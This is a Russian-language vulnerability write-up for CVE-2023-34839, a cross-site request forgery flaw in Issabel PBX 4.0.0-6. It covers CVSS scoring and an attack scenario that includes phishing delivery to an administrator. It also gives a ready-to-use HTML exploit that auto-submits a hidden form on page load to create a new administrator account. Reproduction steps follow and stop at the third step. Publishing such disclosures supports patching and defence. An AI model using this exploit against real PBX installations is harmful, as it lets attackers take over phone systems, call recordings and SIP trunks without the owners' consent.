CVE-2023-34839 — Issabel PBX 4.0.0-6: CSRF для повышения привилегий

Содержание

Обзор
Детали уязвимости
Затронутое ПО
Оценка CVSS
Сценарий атаки
Proof of Concept (PoC)
Шаги по воспроизведению
Воздействие
Устранение уязвимости
Ссылки
Отказ от ответственности

Обзор

CVE-2023-34839 — это уязвимость, связанная с межсайтовой подделкой запроса (Cross-Site Request Forgery, CSRF), обнаруженная в Issabel PBX версии 4.0.0-6 — широко используемой платформе унифицированных коммуникаций с открытым исходным кодом. Уязвимость находится в конечной точке управления пользователями и позволяет удалённому неаутентифицированному злоумышленнику незаметно создать новую учётную запись администратора, обманом заставив аутентифицированного администратора посетить специально созданную веб-страницу.

Поле	Значение
CVE ID	CVE-2023-34839
Дата	23 июня 2023
Исследователь	Sahil Ojha
Вендор	Issabel
Продукт	Issabel PBX
Версия	4.0.0-6
Протестировано на	Windows

Детали уязвимости

В Issabel PBX 4.0.0-6 не реализована защита от CSRF (например, токены синхронизации, атрибуты cookie SameSite или проверка заголовков Origin / Referer) в конечной точке создания пользователя:

POST /index.php?menu=userlist&action=new

Поскольку приложение полагается исключительно на сессионные cookie для аутентификации и не выполняет проверку запросов, изменяющих состояние, поддельный POST-запрос, отправленный из любого источника, будет принят и обработан с полными привилегиями сессии вошедшего в систему администратора.

Корневая причина: отсутствие проверки анти-CSRF-токенов в изменяющих состояние административных конечных точках.

Класс уязвимости: CWE-352 — межсайтовая подделка запроса (CSRF)

Затронутое ПО

ПО	Версия	Статус
Issabel PBX	4.0.0-6	Уязвима ✔

Сайт вендора: https://www.issabel.org/
Исходный код: https://github.com/IssabelFoundation/issabelPBX

Оценка CVSS

Метрика	Значение
Вектор CVSS v3.1	AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Базовый балл	8.8 (высокий)
Вектор атаки	Сеть
Сложность атаки	Низкая
Требуемые привилегии	Не требуются
Взаимодействие с пользователем	Требуется (посещение администратором)
Область действия	Не изменяется
Конфиденциальность	Высокая
Целостность	Высокая
Доступность	Высокая

Сценарий атаки

Злоумышленник может использовать эту уязвимость, выполнив следующие основные шаги:

Создайте вредоносную HTML-страницу, содержащую скрытую форму, нацеленную на конечную точку создания пользователя Issabel PBX, с контролируемыми злоумышленником значениями (имя пользователя, пароль, группа = administrator).
Разместите вредоносную страницу на сервере или отправьте её целевому администратору через фишинговое письмо, сообщение в чате или любой другой вектор социальной инженерии.
Дождитесь, пока администратор откроет ссылку, имея активную аутентифицированную сессию в приложении Issabel PBX.
Браузер автоматически отправит форму, используя существующую сессионную cookie жертвы, в результате чего приложение незаметно создаст новую учётную запись администратора.
Злоумышленник войдёт в систему с вновь созданными учётными данными и получит полный доступ администратора к системе PBX, включая маршрутизацию вызовов, записи разговоров, настройку SIP-транков и все системные параметры.

От жертвы не требуется никаких действий, кроме однократного посещения страницы.

Proof of Concept (PoC)

⚠️ Только для образовательных целей и авторизованного тестирования.
Замените localhost на имя хоста или IP-адрес целевого экземпляра Issabel PBX.
Если тестирование выполняется через конечную точку https:// с самозаверяющим сертификатом, сначала необходимо в том же браузере перейти по целевому URL и принять предупреждение о сертификате; в противном случае браузер заблокирует отправку формы с другого источника.

<html>
  <!-- CSRF Exploit — CVE-2023-34839 -->
  <body>
    <form action="https://localhost/index.php?menu=userlist&action=new" method="POST">
      <input type="hidden" name="save"             value="Save" />
      <input type="hidden" name="name"             value="CSRF" />
      <input type="hidden" name="description"      value="CSRF Test Account" />
      <input type="hidden" name="password1"        value="Test@123" />
      <input type="hidden" name="password2"        value="Test@123" />
      <input type="hidden" name="group"            value="1" />   <!-- 1 = Administrator -->
      <input type="hidden" name="extension"        value="" />
      <input type="hidden" name="webmailuser"      value="" />
      <input type="hidden" name="webmaildomain"    value="" />
      <input type="hidden" name="webmailpassword1" value="" />
      <input type="hidden" name="id_user"          value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Файл эксплойта также доступен в этом репозитории: CSRF Exploit.html

Шаги по воспроизведению

Предварительные требования

Запущенный экземпляр Issabel PBX 4.0.0-6.
Учётная запись администратора с активной сессией в браузере.
Браузер на том же компьютере, где активна сессия администратора.

Шаг 1 — Вход в Issabel PBX как администратор

Перейдите в веб-интерфейс Issabel PBX и войдите, используя учётные данные администратора.

Issabel PBX Login

Шаг 2 — Подготовка CSRF-эксплойта

Скопируйте приведённый выше HTML-код PoC и сохраните его как файл .html, заменив localhost на фактическое имя хоста или IP-адрес целевого экземпляра Issabel.

Эксплойт использует скрытые поля формы для незаметной отправки POST-запроса на создание нового пользователя в приложение. При загрузке страницы встроенный JavaScript немедленно отправляет форму без каких-либо видимых действий пользователя.

CSRF Exploit HTML

Шаг 3 — Открытие эксплойта в том же браузере

Откройте сохранённый HTML-файл в том же браузере (в новой вкладке), пока сессия администратора ещё активна. Форма будет автоматически отправлена сразу после загрузки страницы.

CVE-2023-34839

Популярное